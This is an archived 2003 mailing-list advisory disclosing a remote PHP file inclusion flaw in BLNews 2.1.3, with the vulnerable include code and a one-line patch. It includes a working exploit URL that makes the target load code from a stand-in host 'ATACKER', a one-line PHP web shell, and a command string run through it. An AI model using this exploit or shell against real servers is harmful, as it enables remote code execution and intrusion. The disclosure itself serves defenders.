PHP source code injection in BLNews

From: Over_G (overgat_private)
Date: Thu May 22 2003 - 03:42:13 PDT

Next message: K. K. Mookhey: "[Full-Disclosure] NII Advisory - Buffer Overflow in Analogx Proxy"

Previous message: bugtracklist.fm: "TextPortal Default Password Vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Product: BLNews
Version: 2.1.3
OffSite: http://www.blnews.de/
Problem: PHP source code injection
--------------------------------------------

Vulnerability:

------------admin/objects.inc.php4------------

if ($itheme!="blubb")
{ include("$Server[path]/admin/tools.inc.php4"); }
include("$Server[path]/admin/$Server[language_file]");

-----------------------------------------------------

The developers forgot write include("server.inc.php4") :)

Exploit: admin/objects.inc.php4?Server[path]=http://ATACKER&Server[language_file]=cmd.php4
with
http://ATACKER/admin/tools.inc.php4
http://ATACKER/admin/cmd.php4

with
<? system($cmd) ?>

Use: objects.inc.php4?Server[path]=http://ATACKER&cmd=id;uname -a;pwd;

Patch.
write before line        if ($itheme!="blubb")
include("server.inc.php4");



Contacts: www.overg.com www.dwcgr0up.com
irc.irochka.net #DWC
overgat_private


regards, Over G[DWC Gr0up]

Next message: K. K. Mookhey: "[Full-Disclosure] NII Advisory - Buffer Overflow in Analogx Proxy"
Previous message: bugtracklist.fm: "TextPortal Default Password Vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Sat May 24 2003 - 13:04:49 PDT